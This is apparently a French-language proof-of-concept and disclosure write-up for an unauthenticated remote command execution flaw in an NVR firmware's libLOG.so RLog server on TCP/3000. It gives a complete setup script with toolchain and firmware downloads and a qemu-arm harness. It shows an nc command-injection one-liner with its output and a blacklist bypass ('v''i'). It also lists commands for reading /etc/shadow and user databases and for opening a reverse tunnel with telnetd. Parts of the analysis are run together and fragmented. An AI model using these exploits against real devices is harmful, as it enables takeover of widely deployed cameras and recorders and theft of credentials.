
CVE-2026-100886 | Boîte à outils d'exécution de code à distance non authentifiée.
Le harness démontre que le libLOG.so du firmware démarre un serveur RLog
sur TCP/3000. L'analyse du dispatcheur de commandes et les tests dynamiques
démontrent l'exécution de commandes OS non authentifiée via ce serveur.
Il charge le libLOG.so propre au firmware sous qemu-arm, appelle TLog_Init()
et le vrai serveur se lie à 0.0.0.0:3000 et accepte les connexions entrantes
depuis n'importe où avec aucune authentification.
Le firmware expose un serveur de commandes RLog non authentifié sur TCP/3000.
Le dispatcheur de commandes enregistre Cmd, qui transmet une entrée
contrôlée par l'attaquant à TLog_CMD. TLog_CMD invoque finalement le backend
d'exécution de commandes du firmware.
Par conséquent :
Connexion TCP non authentifiée
↓
Dispatcheur de commandes RLog
↓
Cmd <commande contrôlée par l'attaquant>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
exécution de commande
harness.c : version persistante : démarre le serveur et dort (à utiliser pour un usage réel)probe_harness.c : version sonde : tente également des sondes de commandes depuis l'intérieur de l'émulateur (montre l'exigence de framing par type-byte)Si le téléchargement du firmware utilisé par le script ci-dessous pour créer le sysroot n'existe plus. Vous pouvez le récupérer depuis l'un de ces liens (il suffit de faire une recherche d'image du nvr, le firmware est largement distribué) :
J'ai utilisé le firmware v4.6.1.4-build202604241011 pour cela, les autres versions de firmware n'ont pas encore été testées, mais les revendeurs en aval comme fullward l'ont aussi.
Exécutez ceci dans le même répertoire que les harnesses
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
Ce harness fournit des implémentations stub des symboles que libLOG.so importe depuis edvr
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
Sortie observée depuis probe_harness.c (pas celui utilisé dans le script ci-dessus) :
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux est affiché parce que le mode utilisateur de qemu partage le système de fichiers de l'hôte, car ce PoC ne l'isole pas correctement.
Divulgation IA, le texte ci-dessous est généré par IA
LogModuleRegCmd @ 0x8f94)| Commande | Handler | Effet |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | divers | contrôle de logging/auto-test |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | divulgation d'infos/config/logs |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | lecture arbitraire de fichiers (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | lecture de fichier |
Cmd [System commands] | TLog_CMD (0x3680) | exécution de commandes shell en tant que root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | tunnel TUN inverse + telnetd sur le port 23 |
; \r \n).vi, cd, top, if, killcmd} (strcmp) — trivialement contournée (cat, sh, quoting)."%s -b" → exécuté via sh -c.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → IPC vers /usr/sbin/systemd (faux systemd, exécute via /bin/sh en tant que root ; chaînes "[systemd cmd:]%s", "[systemd ret:]%d").Démo de la blacklist (2026-08-04, serveur émulé) :
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> (attend 3 champs).portmap_client_start(ip, port) (0x88b0) :
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun, crée l'interface tps0, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txtsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) et system("telnetd -p 23 &") (0x8c32).portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — utilisé par le nettoyage du répertoire de logs (TLog_DeleteLogFile).Le harness (harness.c) fait un dlopen de libLOG.so, stubbe ses imports edvr, appelle TLog_Init() :
dlopen ok
TLog_Init() -> 0
Côté hôte (passthrough de socket en mode utilisateur qemu) :
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))